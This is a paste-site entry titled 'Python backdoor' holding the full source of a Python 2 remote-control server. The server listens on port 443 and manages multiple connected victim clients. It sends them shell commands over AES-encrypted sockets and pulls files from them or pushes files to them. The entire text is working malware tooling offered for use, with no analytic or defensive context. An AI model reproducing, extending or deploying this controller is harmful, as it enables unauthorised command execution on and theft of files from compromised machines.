Python backdoor


SUBMITTED BY: Guest

DATE: Nov. 29, 2013, 11:43 p.m.

FORMAT: Python

SIZE: 6.5 kB

HITS: 1148

  1. #!/usr/bin/env python
  2. #
  3. ############################
  4. # copyright #
  5. # caesar #
  6. ############################
  7. from Crypto.Cipher import AES
  8. import socket, base64, os, time, sys, select, subprocess
  9. # the block size for the cipher object; must be 16, 24, or 32 for AES
  10. BLOCK_SIZE = 32
  11. # one-liners to encrypt/encode and decrypt/decode a string
  12. # encrypt with AES, encode with base64
  13. EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
  14. DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
  15. # generate a random secret key
  16. secret = "Insert your 32bit key here"
  17. # clear function
  18. ##################################
  19. # Windows ---------------> cls
  20. # Linux ---------------> clear
  21. clf = 'clear'
  22. if os.name == 'posix': clf = 'clear'
  23. if os.name == 'nt': clf = 'cls'
  24. clear = lambda: os.system(clf)
  25. # initialize socket
  26. c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27. c.bind(('0.0.0.0', 443))
  28. c.listen(128)
  29. # client information
  30. active = False
  31. clients = []
  32. socks = []
  33. interval = 0.8
  34. # Functions
  35. ###########
  36. # send data
  37. def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
  38. sock.sendall(EncodeAES(cipher, cmd + end))
  39. # receive data
  40. def Receive(sock, end="EOFEOFEOFEOFEOFX"):
  41. data = ""
  42. l = sock.recv(1024)
  43. while(l):
  44. decrypted = DecodeAES(cipher, l)
  45. data += decrypted
  46. if data.endswith(end) == True:
  47. break
  48. else:
  49. l = sock.recv(1024)
  50. return data[:-len(end)]
  51. # download file
  52. def download(sock, remote_filename, local_filename=None):
  53. # check if file exists
  54. if not local_filename:
  55. local_filename = remote_filename
  56. try:
  57. f = open(local_filename, 'wb')
  58. except IOError:
  59. print "Error opening file.\n"
  60. Send(sock, "cd .")
  61. return
  62. # start transfer
  63. Send(sock, "download "+remote_filename)
  64. print "Downloading: " + remote_filename + " > " + local_filename
  65. fileData = Receive(sock)
  66. f.write(fileData)
  67. time.sleep(interval)
  68. f.close()
  69. time.sleep(interval)
  70. # upload file
  71. def upload(sock, local_filename, remote_filename=None):
  72. # check if file exists
  73. if not remote_filename:
  74. remote_filename = local_filename
  75. try:
  76. g = open(local_filename, 'rb')
  77. except IOError:
  78. print "Error opening file.\n"
  79. Send(sock, "cd .")
  80. return
  81. # start transfer
  82. Send(sock, "upload "+remote_filename)
  83. print 'Uploading: ' + local_filename + " > " + remote_filename
  84. while True:
  85. fileData = g.read()
  86. if not fileData: break
  87. Send(sock, fileData, "")
  88. g.close()
  89. time.sleep(10)
  90. Send(sock, "")
  91. time.sleep(interval)
  92. # refresh clients
  93. def refresh():
  94. clear()
  95. print '\nListening for clients...\n'
  96. if len(clients) > 0:
  97. for j in range(0,len(clients)):
  98. print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
  99. else:
  100. print "...\n"
  101. # print exit option
  102. print "---\n"
  103. print "[0] Exit \n"
  104. print "\nPress Ctrl+C to interact with client."
  105. # main loop
  106. while True:
  107. refresh()
  108. # listen for clients
  109. try:
  110. # set timeout
  111. c.settimeout(10)
  112. # accept connection
  113. try:
  114. s,a = c.accept()
  115. except socket.timeout:
  116. continue
  117. # add socket
  118. if (s):
  119. s.settimeout(None)
  120. socks += [s]
  121. clients += [str(a)]
  122. # display clients
  123. refresh()
  124. # sleep
  125. time.sleep(interval)
  126. except KeyboardInterrupt:
  127. # display clients
  128. refresh()
  129. # accept selection --- int, 0/1-128
  130. activate = input("\nEnter option: ")
  131. # exit
  132. if activate == 0:
  133. print '\nExiting...\n'
  134. for j in range(0,len(socks)):
  135. socks[j].close()
  136. sys.exit()
  137. # subtract 1 (array starts at 0)
  138. activate -= 1
  139. # clear screen
  140. clear()
  141. # create a cipher object using the random secret
  142. cipher = AES.new(secret,AES.MODE_CFB)
  143. print '\nActivating client: ' + clients[activate] + '\n'
  144. active = True
  145. try:
  146. Send(socks[activate], 'Activate')
  147. resp = socks[activate].recv(1024)
  148. print resp
  149. except socket.error:
  150. print '\nPreviously disconnected by client.\n'
  151. time.sleep(0.8)
  152. active = False
  153. socks.remove(socks[activate])
  154. clients.remove(clients[activate])
  155. # interact with client
  156. while active:
  157. try:
  158. # receive data from client
  159. data = Receive(socks[activate])
  160. # disconnect client.
  161. except socket.error:
  162. print '\nClient disconnected... ' + clients[activate]
  163. # delete client
  164. socks[activate].close()
  165. time.sleep(0.8)
  166. socks.remove(socks[activate])
  167. clients.remove(clients[activate])
  168. refresh()
  169. active = False
  170. break
  171. # exit client session
  172. if data == 'quitted':
  173. # print message
  174. print "Exit.\n"
  175. # remove from arrays
  176. socks[activate].close()
  177. socks.remove(socks[activate])
  178. clients.remove(clients[activate])
  179. # sleep and refresh
  180. time.sleep(0.8)
  181. refresh()
  182. active = False
  183. break
  184. # if data exists
  185. elif data != '':
  186. # get next command
  187. sys.stdout.write(data)
  188. nextcmd = raw_input()
  189. # local commands begin with '_'
  190. if nextcmd.startswith("_") == True:
  191. execproc = subprocess.Popen(nextcmd[1:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  192. execoutp = execproc.stdout.read() + execproc.stderr.read()
  193. sys.stdout.write(execoutp)
  194. # download
  195. if nextcmd.startswith("download ") == True:
  196. if len(nextcmd.split(' ')) > 2:
  197. download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
  198. else:
  199. download(socks[activate], nextcmd.split(' ')[1])
  200. # upload
  201. elif nextcmd.startswith("upload ") == True:
  202. if len(nextcmd.split(' ')) > 2:
  203. upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
  204. else:
  205. upload(socks[activate], nextcmd.split(' ')[1])
  206. # normal command
  207. elif nextcmd != '':
  208. if nextcmd.startswith("_") == True: Send(socks[activate], "cd .")
  209. else: Send(socks[activate], nextcmd)
  210. elif nextcmd == '':
  211. print 'Think before you type. ;)\n'

comments powered by Disqus